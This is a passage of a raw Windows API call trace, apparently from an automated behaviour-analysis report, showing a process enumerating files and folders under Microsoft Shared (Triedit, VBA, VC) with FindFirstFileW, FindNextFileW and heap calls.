dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0087.135] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0087.135] GetProcessHeap () returned 0x550000 [0087.135] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0087.135] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0087.136] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0087.137] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0087.137] GetProcessHeap () returned 0x550000 [0087.137] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0087.137] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0087.137] GetProcessHeap () returned 0x550000 [0087.137] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0087.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0087.138] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.139] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.139] GetProcessHeap () returned 0x550000 [0087.139] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0087.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0087.141] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.141] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.142] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0087.142] GetProcessHeap () returned 0x550000 [0087.142] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0087.142] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.142] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0087.142] GetProcessHeap () returned 0x550000 [0087.142] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0087.142] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0087.143] GetProcessHeap () returned 0x550000 [0087.143] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0087.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0087.144] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.145] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0087.145] GetProcessHeap () returned 0x550000 [0087.145] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0087.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0087.145] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.145] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0087.146] GetProcessHeap () returned 0x550000 [0087.146] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0087.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684370 [0087.150] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.150] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0087.150] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0087.150] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0087.151] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0087.151] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0087.151] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0087.151] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0087.152] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0087.152] FindNextFileW (in: hFindFile=0x2684370, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0087.152] FindClose (in: hFindFile=0x2684370 | out: hFindFile=0x2684370) returned 1 [0087.154] GetProcessHeap () returned 0x550000 [0087.154] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0087.154] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0087.155] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0087.155] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0087.155] GetProcessHeap () returned 0x550000 [0087.155] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0087.155] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0087.155] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0087.155] GetProcessHeap () returned 0x550000 [0087.155] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0087.155] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0087.156] GetProcessHeap () returned 0x550000 [0087.156] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0087.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0087.158] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.158] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0087.158] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0087.158] FindNextFileW (in: 